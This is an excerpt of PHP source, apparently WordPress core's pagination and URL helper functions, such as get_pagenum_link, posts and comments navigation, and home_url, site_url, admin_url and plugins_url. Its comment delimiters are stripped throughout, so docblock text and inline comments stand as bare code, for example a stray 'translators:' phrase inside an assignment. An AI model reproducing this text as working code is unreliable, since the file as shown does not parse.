$request = preg_replace( '|^' . $home_root . '|i', '', $request );
$request = preg_replace( '|^/+|', '', $request );
if ( ! $wp_rewrite->using_permalinks() || is_admin() ) {
$base = trailingslashit( get_bloginfo( 'url' ) );
if ( $pagenum > 1 ) {
$result = add_query_arg( 'paged', $pagenum, $base . $request );
} else {
$result = $base . $request;
}
} else {
$qs_regex = '|\?.*?$|';
preg_match( $qs_regex, $request, $qs_match );
$parts = array();
$parts[] = untrailingslashit( get_bloginfo( 'url' ) );
if ( ! empty( $qs_match[0] ) ) {
$query_string = $qs_match[0];
$request = preg_replace( $qs_regex, '', $request );
} else {
$query_string = '';
}
$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request );
$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request );
$request = ltrim( $request, '/' );
if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' !== $request ) ) {
$parts[] = $wp_rewrite->index;
}
$parts[] = untrailingslashit( $request );
if ( $pagenum > 1 ) {
$parts[] = $wp_rewrite->pagination_base;
$parts[] = $pagenum;
}
$result = user_trailingslashit( implode( '/', array_filter( $parts ) ), 'paged' );
if ( ! empty( $query_string ) ) {
$result .= $query_string;
}
}
*
* Filters the page number link for the current request.
*
* @since 2.5.0
* @since 5.2.0 Added the `$pagenum` argument.
*
* @param string $result The page number link.
* @param int $pagenum The page number.
$result = apply_filters( 'get_pagenum_link', $result, $pagenum );
if ( $escape ) {
return esc_url( $result );
} else {
return sanitize_url( $result );
}
}
*
* Retrieves the next posts page link.
*
* Backported from 2.1.3 to 2.0.10.
*
* @since 2.0.10
*
* @global int $paged
*
* @param int $max_page Optional. Max pages. Default 0.
* @return string|void The link URL for next posts page.
function get_next_posts_page_link( $max_page = 0 ) {
global $paged;
if ( ! is_single() ) {
if ( ! $paged ) {
$paged = 1;
}
$next_page = (int) $paged + 1;
if ( ! $max_page || $max_page >= $next_page ) {
return get_pagenum_link( $next_page );
}
}
}
*
* Displays or retrieves the next posts page link.
*
* @since 0.71
*
* @param int $max_page Optional. Max pages. Default 0.
* @param bool $display Optional. Whether to echo the link. Default true.
* @return string|void The link URL for next posts page if `$display = false`.
function next_posts( $max_page = 0, $display = true ) {
$link = get_next_posts_page_link( $max_page );
$output = $link ? esc_url( $link ) : '';
if ( $display ) {
echo $output;
} else {
return $output;
}
}
*
* Retrieves the next posts page link.
*
* @since 2.7.0
*
* @global int $paged
* @global WP_Query $wp_query WordPress Query object.
*
* @param string $label Content for link text.
* @param int $max_page Optional. Max pages. Default 0.
* @return string|void HTML-formatted next posts page link.
function get_next_posts_link( $label = null, $max_page = 0 ) {
global $paged, $wp_query;
if ( ! $max_page ) {
$max_page = $wp_query->max_num_pages;
}
if ( ! $paged ) {
$paged = 1;
}
$next_page = (int) $paged + 1;
if ( null === $label ) {
$label = __( 'Next Page »' );
}
if ( ! is_single() && ( $next_page <= $max_page ) ) {
*
* Filters the anchor tag attributes for the next posts page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
$attr = apply_filters( 'next_posts_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
next_posts( $max_page, false ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
}
*
* Displays the next posts page link.
*
* @since 0.71
*
* @param string $label Content for link text.
* @param int $max_page Optional. Max pages. Default 0.
function next_posts_link( $label = null, $max_page = 0 ) {
echo get_next_posts_link( $label, $max_page );
}
*
* Retrieves the previous posts page link.
*
* Will only return string, if not on a single page or post.
*
* Backported to 2.0.10 from 2.1.3.
*
* @since 2.0.10
*
* @global int $paged
*
* @return string|void The link for the previous posts page.
function get_previous_posts_page_link() {
global $paged;
if ( ! is_single() ) {
$previous_page = (int) $paged - 1;
if ( $previous_page < 1 ) {
$previous_page = 1;
}
return get_pagenum_link( $previous_page );
}
}
*
* Displays or retrieves the previous posts page link.
*
* @since 0.71
*
* @param bool $display Optional. Whether to echo the link. Default true.
* @return string|void The previous posts page link if `$display = false`.
function previous_posts( $display = true ) {
$output = esc_url( get_previous_posts_page_link() );
if ( $display ) {
echo $output;
} else {
return $output;
}
}
*
* Retrieves the previous posts page link.
*
* @since 2.7.0
*
* @global int $paged
*
* @param string $label Optional. Previous page link text.
* @return string|void HTML-formatted previous page link.
function get_previous_posts_link( $label = null ) {
global $paged;
if ( null === $label ) {
$label = __( '« Previous Page' );
}
if ( ! is_single() && $paged > 1 ) {
*
* Filters the anchor tag attributes for the previous posts page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
$attr = apply_filters( 'previous_posts_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
previous_posts( false ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
}
*
* Displays the previous posts page link.
*
* @since 0.71
*
* @param string $label Optional. Previous page link text.
function previous_posts_link( $label = null ) {
echo get_previous_posts_link( $label );
}
*
* Retrieves the post pages link navigation for previous and next pages.
*
* @since 2.8.0
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string|array $args {
* Optional. Arguments to build the post pages link navigation.
*
* @type string $sep Separator character. Default '—'.
* @type string $prelabel Link text to display for the previous page link.
* Default '« Previous Page'.
* @type string $nxtlabel Link text to display for the next page link.
* Default 'Next Page »'.
* }
* @return string The posts link navigation.
function get_posts_nav_link( $args = array() ) {
global $wp_query;
$return = '';
if ( ! is_singular() ) {
$defaults = array(
'sep' => ' — ',
'prelabel' => __( '« Previous Page' ),
'nxtlabel' => __( 'Next Page »' ),
);
$args = wp_parse_args( $args, $defaults );
$max_num_pages = $wp_query->max_num_pages;
$paged = get_query_var( 'paged' );
Only have sep if there's both prev and next results.
if ( $paged < 2 || $paged >= $max_num_pages ) {
$args['sep'] = '';
}
if ( $max_num_pages > 1 ) {
$return = get_previous_posts_link( $args['prelabel'] );
$return .= preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $args['sep'] );
$return .= get_next_posts_link( $args['nxtlabel'] );
}
}
return $return;
}
*
* Displays the post pages link navigation for previous and next pages.
*
* @since 0.71
*
* @param string $sep Optional. Separator for posts navigation links. Default empty.
* @param string $prelabel Optional. Label for previous pages. Default empty.
* @param string $nxtlabel Optional Label for next pages. Default empty.
function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
$args = array_filter( compact( 'sep', 'prelabel', 'nxtlabel' ) );
echo get_posts_nav_link( $args );
}
*
* Retrieves the navigation to next/previous post, when applicable.
*
* @since 4.1.0
* @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments.
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @param array $args {
* Optional. Default post navigation arguments. Default empty array.
*
* @type string $prev_text Anchor text to display in the previous post link.
* Default '%title'.
* @type string $next_text Anchor text to display in the next post link.
* Default '%title'.
* @type bool $in_same_term Whether link should be in the same taxonomy term.
* Default false.
* @type int[]|string $excluded_terms Array or comma-separated list of excluded term IDs.
* Default empty.
* @type string $taxonomy Taxonomy, if `$in_same_term` is true. Default 'category'.
* @type string $screen_reader_text Screen reader text for the nav element.
* Default 'Post navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'post-navigation'.
* }
* @return string Markup for post links.
function get_the_post_navigation( $args = array() ) {
Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => '%title',
'next_text' => '%title',
'in_same_term' => false,
'excluded_terms' => '',
'taxonomy' => 'category',
'screen_reader_text' => __( 'Post navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'post-navigation',
)
);
$navigation = '';
$previous = get_previous_post_link(
'<div class="nav-previous">%link</div>',
$args['prev_text'],
$args['in_same_term'],
$args['excluded_terms'],
$args['taxonomy']
);
$next = get_next_post_link(
'<div class="nav-next">%link</div>',
$args['next_text'],
$args['in_same_term'],
$args['excluded_terms'],
$args['taxonomy']
);
Only add markup if there's somewhere to navigate to.
if ( $previous || $next ) {
$navigation = _navigation_markup( $previous . $next, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
*
* Displays the navigation to next/previous post, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_post_navigation() for available arguments.
* Default empty array.
function the_post_navigation( $args = array() ) {
echo get_the_post_navigation( $args );
}
*
* Returns the navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $args {
* Optional. Default posts navigation arguments. Default empty array.
*
* @type string $prev_text Anchor text to display in the previous posts link.
* Default 'Older posts'.
* @type string $next_text Anchor text to display in the next posts link.
* Default 'Newer posts'.
* @type string $screen_reader_text Screen reader text for the nav element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'posts-navigation'.
* }
* @return string Markup for posts links.
function get_the_posts_navigation( $args = array() ) {
global $wp_query;
$navigation = '';
Don't print empty markup if there's only one page.
if ( $wp_query->max_num_pages > 1 ) {
Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => __( 'Older posts' ),
'next_text' => __( 'Newer posts' ),
'screen_reader_text' => __( 'Posts navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'posts-navigation',
)
);
$next_link = get_previous_posts_link( $args['next_text'] );
$prev_link = get_next_posts_link( $args['prev_text'] );
if ( $prev_link ) {
$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
}
if ( $next_link ) {
$navigation .= '<div class="nav-next">' . $next_link . '</div>';
}
$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
*
* Displays the navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_posts_navigation() for available arguments.
* Default empty array.
function the_posts_navigation( $args = array() ) {
echo get_the_posts_navigation( $args );
}
*
* Retrieves a paginated navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param array $args {
* Optional. Default pagination arguments, see paginate_links().
*
* @type string $screen_reader_text Screen reader text for navigation element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'pagination'.
* }
* @return string Markup for pagination links.
function get_the_posts_pagination( $args = array() ) {
global $wp_query;
$navigation = '';
Don't print empty markup if there's only one page.
if ( $wp_query->max_num_pages > 1 ) {
Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'mid_size' => 1,
'prev_text' => _x( 'Previous', 'previous set of posts' ),
'next_text' => _x( 'Next', 'next set of posts' ),
'screen_reader_text' => __( 'Posts navigation' ),
'aria_label' => __( 'Posts' ),
'class' => 'pagination',
)
);
*
* Filters the arguments for posts pagination links.
*
* @since 6.1.0
*
* @param array $args {
* Optional. Default pagination arguments, see paginate_links().
*
* @type string $screen_reader_text Screen reader text for navigation element.
* Default 'Posts navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Posts'.
* @type string $class Custom class for the nav element. Default 'pagination'.
* }
$args = apply_filters( 'the_posts_pagination_args', $args );
Make sure we get a string back. Plain is the next best thing.
if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
$args['type'] = 'plain';
}
Set up paginated links.
$links = paginate_links( $args );
if ( $links ) {
$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
}
return $navigation;
}
*
* Displays a paginated navigation to next/previous set of posts, when applicable.
*
* @since 4.1.0
*
* @param array $args Optional. See get_the_posts_pagination() for available arguments.
* Default empty array.
function the_posts_pagination( $args = array() ) {
echo get_the_posts_pagination( $args );
}
*
* Wraps passed links in navigational markup.
*
* @since 4.1.0
* @since 5.3.0 Added the `aria_label` parameter.
* @access private
*
* @param string $links Navigational links.
* @param string $css_class Optional. Custom class for the nav element.
* Default 'posts-navigation'.
* @param string $screen_reader_text Optional. Screen reader text for the nav element.
* Default 'Posts navigation'.
* @param string $aria_label Optional. ARIA label for the nav element.
* Defaults to the value of `$screen_reader_text`.
* @return string Navigation template tag.
function _navigation_markup( $links, $css_class = 'posts-navigation', $screen_reader_text = '', $aria_label = '' ) {
if ( empty( $screen_reader_text ) ) {
$screen_reader_text = translators: Hidden accessibility text. __( 'Posts navigation' );
}
if ( empty( $aria_label ) ) {
$aria_label = $screen_reader_text;
}
$template = '
<nav class="navigation %1$s" aria-label="%4$s">
<h2 class="screen-reader-text">%2$s</h2>
<div class="nav-links">%3$s</div>
</nav>';
*
* Filters the navigation markup template.
*
* Note: The filtered template HTML must contain specifiers for the navigation
* class (%1$s), the screen-reader-text value (%2$s), placement of the navigation
* links (%3$s), and ARIA label text if screen-reader-text does not fit that (%4$s):
*
* <nav class="navigation %1$s" aria-label="%4$s">
* <h2 class="screen-reader-text">%2$s</h2>
* <div class="nav-links">%3$s</div>
* </nav>
*
* @since 4.4.0
*
* @param string $template The default template.
* @param string $css_class The class passed by the calling function.
* @return string Navigation template.
$template = apply_filters( 'navigation_markup_template', $template, $css_class );
return sprintf( $template, sanitize_html_class( $css_class ), esc_html( $screen_reader_text ), $links, esc_attr( $aria_label ) );
}
*
* Retrieves the comments page number link.
*
* @since 2.7.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int $pagenum Optional. Page number. Default 1.
* @param int $max_page Optional. The maximum number of comment pages. Default 0.
* @return string The comments page number link URL.
function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
global $wp_rewrite;
$pagenum = (int) $pagenum;
$result = get_permalink();
if ( 'newest' === get_option( 'default_comments_page' ) ) {
if ( $pagenum != $max_page ) {
if ( $wp_rewrite->using_permalinks() ) {
$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
} else {
$result = add_query_arg( 'cpage', $pagenum, $result );
}
}
} elseif ( $pagenum > 1 ) {
if ( $wp_rewrite->using_permalinks() ) {
$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
} else {
$result = add_query_arg( 'cpage', $pagenum, $result );
}
}
$result .= '#comments';
*
* Filters the comments page number link for the current request.
*
* @since 2.7.0
*
* @param string $result The comments page number link.
return apply_filters( 'get_comments_pagenum_link', $result );
}
*
* Retrieves the link to the next comments page.
*
* @since 2.7.1
*
* @global WP_Query $wp_query WordPress Query object.
*
* @param string $label Optional. Label for link text. Default empty.
* @param int $max_page Optional. Max page. Default 0.
* @return string|void HTML-formatted link for the next page of comments.
function get_next_comments_link( $label = '', $max_page = 0 ) {
global $wp_query;
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( ! $page ) {
$page = 1;
}
$next_page = (int) $page + 1;
if ( empty( $max_page ) ) {
$max_page = $wp_query->max_num_comment_pages;
}
if ( empty( $max_page ) ) {
$max_page = get_comment_pages_count();
}
if ( $next_page > $max_page ) {
return;
}
if ( empty( $label ) ) {
$label = __( 'Newer Comments »' );
}
*
* Filters the anchor tag attributes for the next comments page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
$attr = apply_filters( 'next_comments_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
esc_url( get_comments_pagenum_link( $next_page, $max_page ) ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
*
* Displays the link to the next comments page.
*
* @since 2.7.0
*
* @param string $label Optional. Label for link text. Default empty.
* @param int $max_page Optional. Max page. Default 0.
function next_comments_link( $label = '', $max_page = 0 ) {
echo get_next_comments_link( $label, $max_page );
}
*
* Retrieves the link to the previous comments page.
*
* @since 2.7.1
*
* @param string $label Optional. Label for comments link text. Default empty.
* @return string|void HTML-formatted link for the previous page of comments.
function get_previous_comments_link( $label = '' ) {
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( (int) $page <= 1 ) {
return;
}
$previous_page = (int) $page - 1;
if ( empty( $label ) ) {
$label = __( '« Older Comments' );
}
*
* Filters the anchor tag attributes for the previous comments page link.
*
* @since 2.7.0
*
* @param string $attributes Attributes for the anchor tag.
$attr = apply_filters( 'previous_comments_link_attributes', '' );
return sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
esc_url( get_comments_pagenum_link( $previous_page ) ),
$attr,
preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label )
);
}
*
* Displays the link to the previous comments page.
*
* @since 2.7.0
*
* @param string $label Optional. Label for comments link text. Default empty.
function previous_comments_link( $label = '' ) {
echo get_previous_comments_link( $label );
}
*
* Displays or retrieves pagination links for the comments on the current post.
*
* @see paginate_links()
* @since 2.7.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string|array $args Optional args. See paginate_links(). Default empty array.
* @return void|string|array Void if 'echo' argument is true and 'type' is not an array,
* or if the query is not for an existing single post of any post type.
* Otherwise, markup for comment page links or array of comment page links,
* depending on 'type' argument.
function paginate_comments_links( $args = array() ) {
global $wp_rewrite;
if ( ! is_singular() ) {
return;
}
$page = get_query_var( 'cpage' );
if ( ! $page ) {
$page = 1;
}
$max_page = get_comment_pages_count();
$defaults = array(
'base' => add_query_arg( 'cpage', '%#%' ),
'format' => '',
'total' => $max_page,
'current' => $page,
'echo' => true,
'type' => 'plain',
'add_fragment' => '#comments',
);
if ( $wp_rewrite->using_permalinks() ) {
$defaults['base'] = user_trailingslashit( trailingslashit( get_permalink() ) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged' );
}
$args = wp_parse_args( $args, $defaults );
$page_links = paginate_links( $args );
if ( $args['echo'] && 'array' !== $args['type'] ) {
echo $page_links;
} else {
return $page_links;
}
}
*
* Retrieves navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @param array $args {
* Optional. Default comments navigation arguments.
*
* @type string $prev_text Anchor text to display in the previous comments link.
* Default 'Older comments'.
* @type string $next_text Anchor text to display in the next comments link.
* Default 'Newer comments'.
* @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Comments'.
* @type string $class Custom class for the nav element. Default 'comment-navigation'.
* }
* @return string Markup for comments links.
function get_the_comments_navigation( $args = array() ) {
$navigation = '';
Are there comments to navigate through?
if ( get_comment_pages_count() > 1 ) {
Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'prev_text' => __( 'Older comments' ),
'next_text' => __( 'Newer comments' ),
'screen_reader_text' => __( 'Comments navigation' ),
'aria_label' => __( 'Comments' ),
'class' => 'comment-navigation',
)
);
$prev_link = get_previous_comments_link( $args['prev_text'] );
$next_link = get_next_comments_link( $args['next_text'] );
if ( $prev_link ) {
$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
}
if ( $next_link ) {
$navigation .= '<div class="nav-next">' . $next_link . '</div>';
}
$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
*
* Displays navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
*
* @param array $args See get_the_comments_navigation() for available arguments. Default empty array.
function the_comments_navigation( $args = array() ) {
echo get_the_comments_navigation( $args );
}
*
* Retrieves a paginated navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
* @since 5.3.0 Added the `aria_label` parameter.
* @since 5.5.0 Added the `class` parameter.
*
* @see paginate_comments_links()
*
* @param array $args {
* Optional. Default pagination arguments.
*
* @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
* @type string $aria_label ARIA label text for the nav element. Default 'Comments'.
* @type string $class Custom class for the nav element. Default 'comments-pagination'.
* }
* @return string Markup for pagination links.
function get_the_comments_pagination( $args = array() ) {
$navigation = '';
Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
$args['aria_label'] = $args['screen_reader_text'];
}
$args = wp_parse_args(
$args,
array(
'screen_reader_text' => __( 'Comments navigation' ),
'aria_label' => __( 'Comments' ),
'class' => 'comments-pagination',
)
);
$args['echo'] = false;
Make sure we get a string back. Plain is the next best thing.
if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
$args['type'] = 'plain';
}
$links = paginate_comments_links( $args );
if ( $links ) {
$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
}
return $navigation;
}
*
* Displays a paginated navigation to next/previous set of comments, when applicable.
*
* @since 4.4.0
*
* @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
function the_comments_pagination( $args = array() ) {
echo get_the_comments_pagination( $args );
}
*
* Retrieves the URL for the current site where the front end is accessible.
*
* Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
* if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
* If `$scheme` is 'http' or 'https', is_ssl() is overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', 'relative', 'rest', or null. Default null.
* @return string Home URL link with optional path appended.
function home_url( $path = '', $scheme = null ) {
return get_home_url( null, $path, $scheme );
}
*
* Retrieves the URL for a given site where the front end is accessible.
*
* Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
* if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
* If `$scheme` is 'http' or 'https', is_ssl() is overridden.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the home URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
* 'http', 'https', 'relative', 'rest', or null. Default null.
* @return string Home URL link with optional path appended.
function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
$orig_scheme = $scheme;
if ( empty( $blog_id ) || ! is_multisite() ) {
$url = get_option( 'home' );
} else {
switch_to_blog( $blog_id );
$url = get_option( 'home' );
restore_current_blog();
}
if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
if ( is_ssl() ) {
$scheme = 'https';
} else {
$scheme = parse_url( $url, PHP_URL_SCHEME );
}
}
$url = set_url_scheme( $url, $scheme );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
*
* Filters the home URL.
*
* @since 3.0.0
*
* @param string $url The complete home URL including scheme and path.
* @param string $path Path relative to the home URL. Blank string if no path is specified.
* @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https',
* 'relative', 'rest', or null.
* @param int|null $blog_id Site ID, or null for the current site.
return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
}
*
* Retrieves the URL for the current site where WordPress application files
* (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
*
* Returns the 'site_url' option with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
* overridden.
*
* @since 3.0.0
*
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. See set_url_scheme().
* @return string Site URL link with optional path appended.
function site_url( $path = '', $scheme = null ) {
return get_site_url( null, $path, $scheme );
}
*
* Retrieves the URL for a given site where WordPress application files
* (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
*
* Returns the 'site_url' option with the appropriate protocol, 'https' if
* is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https',
* `is_ssl()` is overridden.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the site URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
* 'http', 'https', 'login', 'login_post', 'admin', or
* 'relative'. Default null.
* @return string Site URL link with optional path appended.
function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
if ( empty( $blog_id ) || ! is_multisite() ) {
$url = get_option( 'siteurl' );
} else {
switch_to_blog( $blog_id );
$url = get_option( 'siteurl' );
restore_current_blog();
}
$url = set_url_scheme( $url, $scheme );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
*
* Filters the site URL.
*
* @since 2.7.0
*
* @param string $url The complete site URL including scheme and path.
* @param string $path Path relative to the site URL. Blank string if no path is specified.
* @param string|null $scheme Scheme to give the site URL context. Accepts 'http', 'https', 'login',
* 'login_post', 'admin', 'relative' or null.
* @param int|null $blog_id Site ID, or null for the current site.
return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
}
*
* Retrieves the URL to the admin area for the current site.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
* 'http' or 'https' can be passed to force those schemes.
* @return string Admin URL link with optional path appended.
function admin_url( $path = '', $scheme = 'admin' ) {
return get_admin_url( null, $path, $scheme );
}
*
* Retrieves the URL to the admin area for a given site.
*
* @since 3.0.0
*
* @param int|null $blog_id Optional. Site ID. Default null (current site).
* @param string $path Optional. Path relative to the admin URL. Default empty.
* @param string $scheme Optional. The scheme to use. Accepts 'http' or 'https',
* to force those schemes. Default 'admin', which obeys
* force_ssl_admin() and is_ssl().
* @return string Admin URL link with optional path appended.
function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
$url = get_site_url( $blog_id, 'wp-admin/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the admin area URL.
*
* @since 2.8.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete admin area URL including scheme and path.
* @param string $path Path relative to the admin area URL. Blank string if no path is specified.
* @param int|null $blog_id Site ID, or null for the current site.
* @param string|null $scheme The scheme to use. Accepts 'http', 'https',
* 'admin', or null. Default 'admin', which obeys force_ssl_admin() and is_ssl().
return apply_filters( 'admin_url', $url, $path, $blog_id, $scheme );
}
*
* Retrieves the URL to the includes directory.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the includes URL. Default empty.
* @param string|null $scheme Optional. Scheme to give the includes URL context. Accepts
* 'http', 'https', or 'relative'. Default null.
* @return string Includes URL link with optional path appended.
function includes_url( $path = '', $scheme = null ) {
$url = site_url( '/' . WPINC . '/', $scheme );
if ( $path && is_string( $path ) ) {
$url .= ltrim( $path, '/' );
}
*
* Filters the URL to the includes directory.
*
* @since 2.8.0
* @since 5.8.0 The `$scheme` parameter was added.
*
* @param string $url The complete URL to the includes directory including scheme and path.
* @param string $path Path relative to the URL to the wp-includes directory. Blank string
* if no path is specified.
* @param string|null $scheme Scheme to give the includes URL context. Accepts
* 'http', 'https', 'relative', or null. Default null.
return apply_filters( 'includes_url', $url, $path, $scheme );
}
*
* Retrieves the URL to the content directory.
*
* @since 2.6.0
*
* @param string $path Optional. Path relative to the content URL. Default empty.
* @return string Content URL link with optional path appended.
function content_url( $path = '' ) {
$url = set_url_scheme( WP_CONTENT_URL );
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
*
* Filters the URL to the content directory.
*
* @since 2.8.0
*
* @param string $url The complete URL to the content directory including scheme and path.
* @param string $path Path relative to the URL to the content directory. Blank string
* if no path is specified.
return apply_filters( 'content_url', $url, $path );
}
*
* Retrieves a URL within the plugins or mu-plugins directory.
*
* Defaults to the plugins directory URL if no arguments are supplied.
*
* @since 2.6.0
*
* @param string $path Optional. Extra path appended to the end of the URL, including
* the relative directory if $plugin is supplied. Default empty.
* @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
* The URL will be relative to its directory. Default empty.
* Typically this is done by passing `__FILE__` as the argument.
* @return string Plugins URL link with optional paths appended.
function plugins_url( $path = '', $plugin = '' ) {
$path = wp_normalize_path( $path );
$plugin = wp_normalize_path( $plugin );
$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
if ( ! empty( $plugin ) && str_starts_with( $plugin, $mu_plugin_dir ) ) {
$url = WPMU_PLUGIN_URL;
} else {
$url = WP_PLUGIN_URL;
}
$url = set_url_scheme( $url );
if ( ! empty( $plugin ) && is_string( $plugin ) ) {
$folder = dirname( plugin_basename( $plugin ) );
if ( '.' !== $folder ) {
$url .= '/' . ltrim( $folder, '/' );
}
}
if ( $path && is_string( $path ) ) {
$url .= '/' . ltrim( $path, '/' );
}
*
* Filters the URL to the plugins directory.
*
* @since 2.8.0
*
* @param string $url The complete URL to the plugins directory including scheme and path.
* @param string $path Path relative to the URL to the plugins directory. Blank string
* if no path is specified.
* @param string $plugin The plugin file path to be relative to. Blank string if no plugin
* is specified.
return apply_filters( 'plugins_url', $url, $path, $plugin );
}
*
